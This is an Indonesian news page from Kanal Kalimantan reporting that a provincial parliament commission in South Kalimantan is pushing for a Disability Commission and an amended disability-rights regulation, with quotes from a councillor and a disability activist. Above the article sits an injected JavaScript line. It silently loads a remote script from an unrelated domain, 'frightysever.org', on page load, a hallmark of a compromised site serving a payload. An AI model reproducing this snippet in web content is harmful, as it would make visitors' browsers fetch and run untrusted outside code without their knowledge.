(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

DPRD Kalsel Dorong Pembentukan Komisi Disabilitas


BANJARMASIN, Komisi IV DPRD Kalsel menginginkan pembentukan Komisi Disabilitas untuk penanganan penyandang cacat agar lebih maksimal. Sebagaimana terjadi, saat ini penanganan terhadap hak-hak disablitas di Kalsel masih belum sesuai harapan.

Menurut anggota Komisi IV Zulfa Asma Vikra harapannya dengan terbentuknya Komisi Disabilitas bisa lebih serius dalam penanganan penyandang cacat yang tersebar di 13 kabupaten/kota di Kalsel. Mengingat jumlah penyandang disabilitas masih relatif tinggi.

Jumlah penyandang cacat serta jenisnya Kabupaten Tanah Laut (Tala) saja mencapai 40.000 orang. “Apalagi se-provinsi ini, tentu jumlah penyandang cacat bisa mencapai 100.000 orang atau lebih,” ujar wakil rakyat asal daerah pemilihan Kalsel VII/Kota Banjarmasin dan Tala tersebut.

“Mereka (penyandang cacat) itu juga mempunyai hak yang harus mendapatkan perhatian bersama,” lanjutnya. Dalam kaitan keinginan membentuk komisi disabilitas di daerah itu, tersebut Komisi IV DPRD Kalsel mengusulkan perubahan Perda Nomor 17 Tahun 2013 tentang Pemenuhan Hak-Hak Penyandang Disabilitas di provinsinya.

“Kita harapkan perubahan Perda 17/2013 bisa pula menjadi payung hukum dalam pembentukan komisi disabilitas, dan dalam upaya perlindingan/pemenuhan hak-hak penyandang cacat,” demikian Zulfa.

Sebelumnya, Wawan Kurniawan seorang aktivis sosial pembela hak-hak warga difabel, geram atas ketidakadilan pemerintah daerah terhadap kaum penyandang difabel di Kota Banjarmasin. Ketua Yayasan Daksa Banua ini berkata, sangat banyak kebijakan pemerintah yang belum berpihak pada penyandang difabel, khusus tunadaksa dalam hal aksebilitas pelayanan umum.

Menurut Wawan, pemerintah kurang paham bagaimana mencari solusi untuk memenuhi hak penyandang disabilitas. “Ketika kami jalan ke Taman Kamboja, masa aksebilitas untuk anak tunadaksa dihalangi dengan rantai. Apakah ini disebut dengan keadilan?” ujarnya. (cel)

Terkait

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.